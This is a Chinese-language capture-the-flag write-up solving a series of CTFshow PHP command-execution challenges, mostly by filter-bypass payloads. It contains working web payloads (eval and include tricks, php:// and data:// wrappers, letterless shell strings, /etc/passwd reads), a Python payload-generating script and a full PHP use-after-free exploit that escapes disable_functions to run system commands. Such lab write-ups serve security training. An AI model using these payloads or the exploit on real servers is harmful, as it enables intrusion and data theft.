CTFSHOW 命令执行篇(完)

CTFSHOW 命令执行篇(完)

29

image-20211016153654601

这题严格来说是代码执行体

我们先phpinfo

/c=phpinfo(); (这里要使用分号,没有分号是无法执行的)
/C=phpinfo()?> (php最后一条语句可以没有;)

使用ls来查看一下目录

/?c=system('ls');

image-20211016153907030

/c=system("cp fla?.txt 1.txt")
使用?代替,在shell里面是一个占位符,和正则相似,代表一个字符 *代表多个,一个?代表一个

30

image-20211016154211614

这里过过滤了一个system,我们换一种方法

/c=`cp fla?.??? 1.txt`; (被过滤了的使用?代替)
``在php中和system类似,代表shell执行

31

image-20211016154521113

31过滤多起来了,不仅过滤了点,还过滤了空格,这时我们可以尝试嵌套执行

/C=eval($_GET[1]);$1=phpinfo(); 这里1相当于参数逃逸了出来,它不属于C,可以任意使用他们搬掉的关键字也是可以使用的
所以我们可以直接使用
/c=eval($_GET[1]);$1=system('cat flag.php');
/c=eval($_GET[1]);$1=system('tac flag.php'); tac表示反过来读取

32

这里过滤的参数更过了了

image-20211016155338703

这里把空格过滤了可以使用url编码绕过

/c=include%0a$_GET[1]?>&1=ect/passwd
这时候我们直接写flag.php
/c=include%0a$_GET[1]?>&1=flag.txt  这时候我们是看不到的,虽然是包含,但是没有输出flag的变量,以为;被过滤了,造成无法输出,这时我们可以采用文件包含来做
/c=include%0a$_GET[1]?>$1=php://filter/convert.base64-encode/resource=flag.php 这时我们到了flag然后解码

33

这里是多了过滤了一个双引号

image-20211016160449190

/c=require%0a$_GET[1]?>&1=/etc/passwd 发现可以包含
/c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/resource=

34

过滤了:防止直接使用伪协议进行读取

image-20211016161300365

还过滤了;)

这时候我们可以考虑语言结构了

有语言结构有

echo  print isset  unset include require....

因为echo过滤了,isset和unset也用不了

使用print/?c=print%0a$_GET[1]?>&1=phpinfo();

执行,输出了phpinfo();这个字符

为什么会出现这个情况了

这个跟二进制的有点类似,这里属于一个代码空间和数据空间,二进制有代码段和数据段,phpinfo();在数据段,不在代码段,系统当作一个字符串来处理了而不是当成代码来执行

需要使用eval来执行,但是eval使用需要用到()

使用这里只能使用include

/?c=include%0a$_GET[1]?>&1=/etc/passwd

image-20211021012530237

但这不是代码执行,而是文件读取,我们继续读取flag.php文件,

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

读取成功,然后解码即可得到flag

35

image-20211021012956116

这里把=<过滤了,我们仍然可以使用上一种方法进行解即可。

36

image-20211021013652967

这一题的区别是不让使用数字了,那我们可以使用字母来代替

/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

37

image-20211021014212408

这里eval变成了include了,并且过滤了flag

我们使用包含其他参数进行尝试一下

/?c=$_GET[1]&1=flag.php

不能成功,因为把$_GET当成了一个数据领域来处理了,不是代码执行

那我们可以使用文件包含

/?c=php://filter/convert.base64-encode/resource=flag.php

这样子也不行,这条题目的考点是伪协议,可以使用data协议来尝试一下

/?c=data://text/plain,<?php phpinfo();?>

可以成功执行,因为data协议会把后面的字符串当成PHP代码来执行,那我们直接cat试一下

/?c=data://text/plain,<?php system("cat flag.php")?>/?c=data://text/plain,<?php system("tac flag.php")?>可以把flag  ----> fla? 就可以返回结果了

我们也可以使用复制的方法

/?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>然后直接访问1.txt即可/1.txt

38

image-20211021015920238

这里过滤了phpfile

这里不能使用上面的写法了,因为存在php字符

/?c=data://text/plain,<?= system("mv fla?.php 1.txt")?>

我们把php换成=,这个叫短标签,我们可以测试一下短标签有没有开启

然后我们在访问1.txt即可

39

image-20211021020508472

这里没有回显,而且强制添加后缀

我们使用data协议尝试一下

/?c=data://text/plain,<?=phpinfo();?>

依旧可以执行,直接rce

image-20211021021407877

我可以直接system即可,(使用*?都可以)

/?c=data://text/plain,<?= system("tac fla?.php")?>

40

没有过滤字母,没有过滤分号,过滤了中文括号,没有过滤英文括号,没有过滤下划线,这是我们能用的东西了

/c=show_source(next(array_reverse(scandir(pos(localeconv())))));
需要用到的函数localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)pos():返回数组中的当前元素的值。array_reverse():数组逆序scandir():获取目录下的文件next(): 函数将内部指针指向数组中的下一个元素,并输出。首先通过 pos(localeconv())得到点号,因为scandir('.')表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。

我们可以通过提示获取flag,提示是通过货币信息获取pos扫描当前目录,然后把目录的结果进行翻转,然后取下一个,然后再显示源码

应为不能使用$就不能使用之前的老方法了

我们可以打印一下当前的变量

/?c=print_r(get_defined_vars());

image-20211021022743506

我们可以给他加一个post数组

image-20211021082328522

返回

image-20211021082344988

那我们就可以rce

我们拿到了这一个数组

image-20211021082515878

我们要拿到他的数组的值,对数组进行弹出

image-20211021082743697

我们只需要对它执行一下就可以了

image-20211021082827701

image-20211021083048187

参考:https://blog.51cto.com/u_15127575/3404713

41

过滤了一些字符,然后作为php代码执行,这里把数字和字母给过滤了,反引号,加号,波浪号等都过滤了

这个题的思路就是要我们通过一些特殊符号构造出字符串来实现代码执行

& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符

建议直接使用这两位大佬写的脚本

https://blog.51cto.com/u_15127575/3404713https://blog.csdn.net/miuzzx/article/details/108569080
import reimport requestsurl="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"a=[]ans1=""ans2=""for i in range(0,256):    c=chr(i)    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)    if(tmp):        continue        #print(tmp.group(0))    else:        a.append(i)# eval("echo($c);");mya="system"  #函数名 这里修改!myb="ls"      #参数def myfun(k,my):    global ans1    global ans2    for i in range (0,len(a)):        for j in range(i,len(a)):            if(a[i]|a[j]==ord(my[k])):                ans1+=chr(a[i])                ans2+=chr(a[j])                return;for k in range(0,len(mya)):    myfun(k,mya)data1="(\""+ans1+"\"|\""+ans2+"\")"ans1=""ans2=""for k in range(0,len(myb)):    myfun(k,myb)data2="(\""+ans1+"\"|\""+ans2+"\")"data={"c":data1+data2}r=requests.post(url=url,data=data)print(r.text)

42

image-20211022011406658

这里把输出结果输入到黑洞里面去了,往dev/null写的文件都不会保存,2>&1shell里面一共有三种文件描述符 1是标准输入,2是错误输出,3是标准输出,把错误输出绑定到标准输出里面,错误的输出也再标准输出里面进行输出,然后统一输出到这个黑洞里面去,总之就是$c的返回结果是不显示的

代码没有任何过滤

/?c=ls;ls

可以返回值,原因是第二个ls写到黑洞里面去了,第一个输出了,因为使用了;分割开来了

/?c=tac flag.php;ls

tac是逆向返回可以把html的注释进行破坏

43

这里把分号过滤了,但是我们可以使用其他的姿势,原理不变

&&在shell里面第一个命令执行成功才执行第二个命令,那这里就是两个命令,会把第二个命令输出到黑洞里面去,第一个正常输出,&&要进行url编码

/?c=tac flag.php%26%26ls

44

过滤了flag,直接使用通配符

/?c=tac%20fla%3F.php%26%26ls

45

多过滤了一个空格,那我们可以使用其他符号代替,如水平制表符

/?c=tac%09fla%3F.php%26%26ls

这里的空格不是php代码里面的空格,而是shell里面的空格

46

过滤了数字,不能有$符号,也不能使用*号,我们无法使用上面的办法了

过滤了*我们可以使用?代替,区别是*代表多为,?代表一位

/?c=tac%09fla%3F.php%26%26ls

47

这里过滤了好多文件读取的命令,但是没有过滤tac,直接使用上一个打

/?c=tac%09fla%3F.php%26%26ls

48

image-20211022014328301

这里过滤的更多了,但是还是没有过滤tac,直接白嫖

/?c=tac%09fla%3F.php%26%26ls

过滤的再多,只有有一个可以利用就可以产生漏洞

49

多过滤了一个百分号,我们继续白嫖

/?c=tac%09fla%3F.php%26%26ls

50

image-20211022015619795

这里x09过滤了,x26也过滤了,$也过滤了,空格也过滤了,但是明显的留下了|,这里可以使用带行号读

/c=nl<fla*.php

不能上面那样子写,因为不支持通配

使用我们要利用shell的一个特性 '' 两个单引号分割字符串,中间执行自动忽略

/?c=nl<fla''g.php%7C%7Cls

页面返回1,直接查看页面源代码即可获得flag

51

这里没有什么变化,直接使用上面的方法直接白嫖

/?c=nl<fla''g.php%7C%7Cls

52

image-20211022020059956

这里过滤了通道符,但是把$符号放出来了,我们可以使用复制或者重命名的方式

/?c=cp$IFSfla?.php$IFSa.txt||ls

测试发现无法写入,权限不足?那我们试试重命名

/?c=mv$IFSfla?.php$IFSa.txt%7C%7Cls

还是不行,我们再换一种方式

/?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls

${IFS}系统自带的空格

image-20211022021234805

成功重命名,直接访问a.txt即可,

但是这个flag是不对的,没想到到,这就不将武德了

查看一下根目录

/?c=ls${IFS}/||ls

image-20211022021818895

发现这里还有一个flag,那这个就很有可能是真的了

我们复制到默认目录

/?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls

访问一下b.txt,访问失败,再查看一下目录

/?c=ls||ls

貌似不能移动,我们复制试一下

image-20211022022628941

最后直接访问一下b.txt即可。

53

image-20211022023200740

过滤和上一道题没有啥变化,但是又回显了,首先把我们的命令进行显示,同时把命令结果也进行了显示,system执行成功返回命令输出的最后一行,失败者返回false

我们使用一下老办法

/?c=ta''c${IFS}fla?.php

成功拿到flag

54

image-20211022023717429

过滤的丧心病狂呀,用单引号绕过的也过滤了,但是还有漏网之鱼,我们可以使用mv命令,先查看一下文件

image-20211022023920952

/?c=mv${IFS}fla?.php${IFS}y.txt

image-20211022024116485

写入成功,直接访问y.txt即可

55

<?php// 你们在炫技吗?if(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);}

这里留了空格,但是过滤了字母,这时候我们就要考虑经典的无字母rec了,做一个文件上传的表单

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>POST数据包POC</title></head><body><form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接-->    <label for="file">文件名:</label>    <input type="file" name="file" id="file"><br>    <input type="submit" name="submit" value="提交"></form></body></html>

上传文件后会在php的服务器接收到这个上传文件,它不知道你这个脚本后面还有没有处理上传文件的一个逻辑,现在文件已经上传上去了,php会把每次文件上传的脚本放到一个临时目录,然后脚本执行完了就删除,他的命名规则是phpaaaaaX

还有它没有过滤点,点在Linux下是可以执行脚本的,假如我们可以自定义一个脚本文件,假如脚本的名字是. ?.?那我们就可以执行任意文件了,只要我们可以控制这个文件,通过点号就可以执行这个脚本了,但是我们没有可以写入文件的地方,使用我们使用刚刚那个上传脚本,不管这个脚本用不用我们上传的那个文件的数据,只要在脚本执行之前,这个文件都是存在的,我们如果上传一个文件目录是tmp/phpaabbC如果我们上传的是这个脚本的话那我们./tmp/phpaabbC是不是就可以执行任意命令了,但是名字我们是不可控的,值我们是可控的,这时候名字就可以使用通配符代替tmp可以使用???代替phpaabbC可以使用??????,/???/??????这个是匹配三个字符目录下的任意六·个数字,它总有一位最后是大写的就,大写字符的ASCII码值是在[@-[]]之间

我们先上传一个文件抓包试试看

image-20211024125108186

正常执行rce

image-20211024125335988

正常查看文件

image-20211024125458326

直接查看flag.php文件

image-20211024125601688

参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

56

这里过滤了很多,字母数字都没了,有系统执行,那肯定是无字母数字rce

<?php// 你们在炫技吗?if(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);}

php的上传机制,跟上面一样

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>POST数据包POC</title></head><body><form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"><!--链接是当前打开的题目链接-->    <label for="file">文件名:</label>    <input type="file" name="file" id="file"><br>    <input type="submit" name="submit" value="提交"></form></body></html>

image-20211024155302583

image-20211024155313811

image-20211024155346610

在遇到过滤了字母数字,但是给了点和问号这两个符号,这种情况下就要考虑经典的无字母数字的rce做法

57

这里过滤了更多了,结果只需要构造一个36即可,然后直接访问36.php即可

<?php// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){        system("cat ".$c.".php");    }}else{    highlight_file(__FILE__);}

没过滤$可以使用变量

在linux中

echo $(())  --> 0echo ~$(()) --> ~0echo $((~$(()))) --> -1所以我们连续相加36个 $((~$(()))) 然后取反即可的到36

image-20211024162129830

image-20211024162151778

echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

然后直接访问

http://d60dafe7-3f6b-460d-af46-4cd78e3038fe.challenge.ctf.show/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

查看页面源码即可得到flag

58

这里变成了突破禁用函数了,我们不知道禁用了上面函数

<?php// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

这里我们可以查看一下它禁用了那些函数

image-20211024162827951

phpinfo居然也禁用了,那我们来试一下syetem,systme也没了,shell_exec也没了

那尝试一下文件读取吧

image-20211024163658561

可以使用

image-20211024163710612

盲猜直接读取flag

image-20211024163811921

搞定

59

源码没变,但是肯定禁用了更多的函数,我们试一下直接白嫖上一个函数试试看

file_get_contents发现也不行,我们使用include文件读取

image-20211024211404723

完成

60

代码没动,使用上一个方法可以直接白嫖

方法二

image-20211024211947001

先写到日志里面去

image-20211024212251614

尝试一下执行一下命令,可以执行命令,我们发现highlight_file这个函数是没有禁用的

image-20211024212657383

61

上一题的第二种方法还是可以的

image-20211024212847465

show_source也可以

image-20211024212940674

62

上一题的做法还可以白嫖

image-20211024213212315

方法2:

image-20211024213306803

63

用上道题的方法试一试

image-20211024231316945

法二:

如果我们不知道变量名字的话,但是知道文件名时

image-20211024231522885

get_defined_vars()拿到所有的注册变量,先包含文件在把flag这个变量注册进去

64

继续白嫖上一道题的变量试一试,发现可以

image-20211024231936811

法二:

尝试重命名 c=rename('flag.php','1.txt');不行

查看一下目录print_r(scandir('.'));

image-20211024232302764

image-20211024232715471

65

老规矩,白嫖一下上面的方法

image-20211024233352076

其他思路

curl禁用了

c=$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "file:///var/www/html/flag.php");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output=curl_exec($ch);curl_close($ch);print_r($output);

远程文件获取,也没了

c=file_get_contents('flag.php')

66

这里继续白嫖楼上的show_source,哎嘿,发现不行了,被ban了,那我们试试higlight_file

image-20211025000755322

我们看一下是不是这个flag改名字了,这个明显代码是执行了的,查看一下当前目录

image-20211025001007339

看来不在这一层目录,向上翻

image-20211025001121571

根目录查看一波

image-20211025001158410

直接读取

image-20211025001343266

67

哎嘿,直接白嫖上一条题的即可

68

highlight_file白嫖不了了,呜呜呜,白嫖include

include('flag.php');echo $flag;

image-20211025002132906

使用print_r(scandir('/'))扫描一下根目录,print_r被ban了,那我们使用var_dump

image-20211025002252651

发现目标,直接包含

image-20211025002430629

69

继续白嫖incude,include('/flag.txt'),成功

70

继续白嫖incude,include('/flag.txt'),成功

image-20211025003356570

71

继续白嫖

image-20211025003743688

啊这,回头我们发现这有个附件

<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);//代码执行        $s = ob_get_contents(); //拿到缓冲区的内容        ob_end_clean(); //清空缓冲区        echo preg_replace("/[0-9]|[a-z]/i","?",$s); //替换缓冲区的内容}else{    highlight_file(__FILE__);}?>你要上天吗?

我们可以在代码执行后中断,不执行eval后面的代码

image-20211025004140973

72

继续白嫖

image-20211025004503239

失败了,找不到flag.txt这个文件了,文件扫描走起,

var_dump(scandir('/'));

image-20211025004715049

这,忘记了要退出呀

image-20211025004801640

找不到???var_dump没了,换一种写法$a=scandir('/');

image-20211025005019997还是不行,回头看一波源码

<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);        $s = ob_get_contents();        ob_end_clean();        echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{    highlight_file(__FILE__);}?>你要上天吗?

源码没变呀,回头看报错

image-20211025005245654

这里添加了basedir,通过这个来限制你的读取目录,那我们可以使用一些glob协议来绕过

c=$a="glob:///*.txt"; //定义一个路径,查看根目录下所有的txt文件if($b=opendir($a)){ //读入一下  while (($file = readdir($b)) !== false){ //循环读取    echo "filename:".$file."\n"; //如果不是目录也是存在的也输出}closedir($b); //关闭}exit(); //防止替换

image-20211025010152624

发现根目录下的txt文件只有一个flag0.txt,我们直接包含走起

image-20211025010429300

呜呜呜,它不在网站这个目录,在open_dir之外,这时候只能用uaf

这是一个通用的绕过安全目录的一个脚本

<?phpfunction ctfshow($cmd) {    global $abc, $helper, $backtrace;    class Vuln {        public $a;        public function __destruct() {             global $backtrace;             unset($this->a);            $backtrace = (new Exception)->getTrace();            if(!isset($backtrace[1]['args'])) {                $backtrace = debug_backtrace();            }        }    }    class Helper {        public $a, $b, $c, $d;    }    function str2ptr(&$str, $p = 0, $s = 8) {        $address = 0;        for($j = $s-1; $j >= 0; $j--) {            $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }    function ptr2str($ptr, $m = 8) {        $out = "";        for ($i=0; $i < $m; $i++) {            $out .= sprintf("%c",($ptr & 0xff));            $ptr >>= 8;        }        return $out;    }    function write(&$str, $p, $v, $n = 8) {        $i = 0;        for($i = 0; $i < $n; $i++) {            $str[$p + $i] = sprintf("%c",($v & 0xff));            $v >>= 8;        }    }    function leak($addr, $p = 0, $s = 8) {        global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }        return $leak;    }    function parse_elf($base) {        $e_type = leak($base, 0x10, 2);        $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) {            $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);            if($p_type == 1 && $p_flags == 6) {                 $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) {                 $text_size = $p_memsz;            }        }        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    }    function get_basic_funcs($base, $elf) {        list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {            $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;            $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                                if($deref != 0x786568326e6962)                    continue;            } else continue;            return $data_addr + $i * 8;        }    }    function get_binary_base($binary_leak) {        $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {            $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) {                return $addr;            }        }    }    function get_system($basic_funcs) {        $addr = $basic_funcs;        do {            $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);            if($f_name == 0x6d6574737973) {                return leak($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }    function trigger_uaf($arg) {        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');        $vuln = new Vuln();        $vuln->a = $arg;    }    if(stristr(PHP_OS, 'WIN')) {        die('This PoC is for *nix systems only.');    }    $n_alloc = 10;     $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');    trigger_uaf('x');    $abc = $backtrace[1]['args'][0];    $helper = new Helper;    $helper->b = function ($x) { };    if(strlen($abc) == 79 || strlen($abc) == 0) {        die("UAF failed");    }    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;    write($abc, 0x60, 2);    write($abc, 0x70, 6);    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);    $closure_obj = str2ptr($abc, 0x20);    $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) {        die("Couldn't determine binary base address");    }    if(!($elf = parse_elf($base))) {        die("Couldn't parse ELF header");    }    if(!($basic_funcs = get_basic_funcs($base, $elf))) {        die("Couldn't get basic_functions address");    }    if(!($zif_system = get_system($basic_funcs))) {        die("Couldn't get zif_system address");    }    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) {        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    }    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4);     write($abc, 0xd0 + 0x68, $zif_system);     ($helper->b)($cmd);    exit();}ctfshow("cat /flag0.txt");ob_end_flush();?>

记得要url编码一下

image-20211025011503081

参考链接:https://www.rolemee.com/2021/07/16/ctfshow-web-ru-men-ming-ling-zhi-xing-72-rao-guo-disable-function-xian-zhi-he-open-basedir-xian-zhi/

73

嫖上一道题的方法,失败

gobl协议

c=%3F%3E%3C%3Fphp%0A%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E

image-20211025012336448

直接包含c=include("/flagc.txt");exit();

74

继续嫖

使用glob协议读取目录

c=$a="glob:///*.txt"; if($b=opendir($a)){   while (($file = readdir($b)) !== false){     echo "filename:".$file."\n"; }closedir($b);}exit();

image-20211025014905787

直接包含,读取c=include("/flagc.txt");exit();

image-20211025015027818

75

继续白嫖,使用gobl协议读取目录

image-20211025015601245

拿到根目录,在flag36.txt中,于是使用c=include("/flag36.txt");exit();

发现include被禁用了,于是使用数据库链接

image-20211025015637793

直接使用pdo

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

数据库名,账号,密码可以通过之前的题目获取

76

继续白嫖,gobl协议走起

image-20211025020137073

image-20211025020243774

77

老规矩,glob协议扫目录

image-20211025020628042

pdo读取一下

image-20211025020756476

哎,不让用mysql了,使用FFIPHP>=7.4时才行

c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象$a='/readflag > 1.txt';//没有回显的$ffi->system($a);//通过$ffi去调用system函数

再次访问1.txt即可

参考链接:https://rolemee.com/2021/07/17/ctfshow-web-ru-men-ming-ling-zhi-xing-73-77/

118

image-20211025160218642

image-20211025160226747

也就是我们输入的命令会被执行,但是诸如lsid之类的都被ban了,使用如下方法。
需要使用bash的内置变量进行绕过(参考https://www.cnblogs.com/sparkdev/p/9934595.html#title_pwd

空格可以执行,那么我们就可以构造系统变量了,但是我们没有echo,所有只能在系统变量里面构造我们想要的东西,

题目给了我们默认环境下的配置文件

img

echo ${PWD} /root                                                                                      echo ${PWD:0:1}      #表示从0下标开始的第一个字符/                                                                                                                                                                       echo ${PWD:~0:1}      #从结尾开始往前的第一个字符t                                                                                echo ${PWD:~0}      t                                                                             echo ${PWD:~A}       #所以字母和0具有同样作用             t                                                                    echo ${PATH}                            /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin                                                                    echo ${PATH:~A}                n                                                                                     ls                                      Desktop  Documents  Downloads  flag.txt  Music  Pictures  Public  Templates  Videos                                                                       ${PATH:~A}l flag.txt     1  flag{test}               

构造出${PATH:~A}${PWD:~A}$IFS????.??? = nl flag.php查看页面源码即可得到flag

119

无法白嫖上一题

nl无法使用

image-20211025162357314

在当前目录或当前环境变量地址/bin中无法找到有用的字符了

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2
我们有:

${SHLVL}       //一般是一个个位数${#SHLVL}     //1,表示结果的字符长度${PWD:${#}:${#SHLVL}}       //表示/${USER}        //www-data${PHP_VERSION:~A}       //2${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}         //at

${PHP_VERSION:~A}来自于返回报文的头部,为2

image-20211025163008933

所以最终的payload如下

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

也就是:

/???/?at ????.???

法二:

PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -02 -D_LARGFILE_SOURCE -D_FILE_OFFSEET_BITS=64PHP_VERSION=7.32SHLVL=22 = ${PHP_VERSION:~A:${SHLVL}}3 = ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}tac = ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???即可得到flag

120

白嫖上面的发现有长度限制,还得减减,长度不能大于64

第一种${PHP_CFLAGS:?:?} ????.???要用20个字符构造出 3第二种base64 flag.php4 = ${php_CFLAGS:~A}6 = ${#PHP_VERSION}/ = ${PWD::${#SHLVL}}/bin/base64 flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${php_CFLAGS:~A} ????.??? 超了只要摇色子摇出来的随机数是4位数的 1000-10000之间就行,多摇几次code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? 

image-20211025170446434

121

<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){    $code=$_POST['code'];    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){            if(strlen($code)>65){            echo '<div align="center">'.'you are so long , I dont like '.'</div>';        }        else{        echo '<div align="center">'.system($code).'</div>';        }    }    else{     echo '<div align="center">evil input</div>';    }}?>

老办法,白嫖,发现把SHLVL过滤了,SHLVL是用来取1的,用其他代替一下

$? 上一次命令执行的结果 (0:正常,1:不正常)

我们先执行一个非正常的命令

image-20211025171318191

然后把#shell替换为#$?

code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? 

image-20211025171521982

122

白嫖上面的,第一次先让系统执行一次错误的命令

image-20211025172028220

pwd被过滤了 home没有过滤,用home代替。 #也过滤了

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? 多发几十遍

image-20211025172831883

124

